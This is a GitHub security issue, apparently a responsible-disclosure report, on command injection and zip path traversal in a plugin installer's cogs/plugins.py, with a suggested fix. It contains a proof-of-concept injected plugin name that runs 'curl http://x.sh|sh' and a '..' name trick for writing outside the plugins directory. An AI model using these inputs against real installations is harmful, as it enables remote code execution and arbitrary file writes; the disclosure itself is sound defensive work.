Skip to content

Security finding - plugin installer: OS command injection via registry/name strings + unrestricted zip write #3455

Description

@Pajt9whauht283as

Security report (responsible disclosure)

Plugin installer: OS command injection via registry/name strings + unrestricted zip write

Affected: cogs/plugins.py:91 (no charset restrictions), :237-243 (shell sink), :216-224 (zip extraction)

m = match(r"^(.+?)/(.+?)/(.+?)(?:@(.+?))?$", s)   # name/user/repo/branch accept anything
...
proc = await asyncio.create_subprocess_shell(
    f'"{sys.executable}" -m pip install --upgrade{user_install} -r {req_txt} -q -q',

req_txt = plugin.abs_path / "requirements.txt" where abs_path embeds the raw name. {prefix}plugin add evil/trustme/foo"; curl http://x.sh|sh;" executes attacker text as shell during load. Registry-sourced installs additionally take plugin_name from remote registry JSON (:301-318 via :136). Secondary: zip extraction trusts entry paths when path.parts[1] == plugin.name; setting name='..' escapes the plugins directory (arbitrary file write).

Requires OWNER to trigger directly, but is supply-chain relevant through registry names.

Suggested fix

Use subprocess argv lists (no shell); whitelist [A-Za-z0-9._-] for user/repo/name/branch; reject zip entries resolving outside abs_path.resolve().

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

Labels

No labels
No labels

Type

No type

Projects

No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions